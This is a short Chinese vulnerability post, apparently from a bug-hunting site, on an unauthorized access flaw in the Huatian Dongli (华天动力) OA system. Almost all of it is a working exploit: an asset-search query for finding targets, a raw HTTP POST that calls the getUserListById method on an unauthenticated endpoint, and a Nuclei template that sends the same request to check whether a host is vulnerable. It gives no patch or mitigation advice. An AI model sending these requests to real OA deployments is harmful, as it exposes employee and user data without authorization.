华天动力OA办公系统存在未授权访问漏洞(新)-漏洞挖掘

app:"华天动力 OA"

POST /OAapp/bfapp/buffalo/hrApplicationFormService HTTP/1.1Host: {}Content-Length: 283Pragma: no-cacheAccept: application/json, text/plain, */*Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: text/xml;charset=utf-8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=E23F65531C015A84CE70FBBEAFDA5296Connection: close   <buffalo-call>        <method>getUserListById</method>        <boolean>1</boolean>        <string></string>        <string>2</string>        <string></string>        <string></string>        <boolean>1</boolean>        <boolean>1</boolean>        </buffalo-call>

id: huatian-OA-information-disclosureinfo:  name: huatian-OA-information-disclosure  author: HackTwo  severity: highhttp:  - raw:      - |        POST /OAapp/bfapp/buffalo/hrApplicationFormService HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.9        Cache-Control: no-cache        Connection: close        Content-Type: text/xml;charset=utf-8        <buffalo-call>        <method>getUserListById</method>        <boolean>1</boolean>        <string></string>        <string>2</string>        <string></string>        <string></string>        <boolean>1</boolean>        <boolean>1</boolean>        </buffalo-call>    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'len(body)>1000'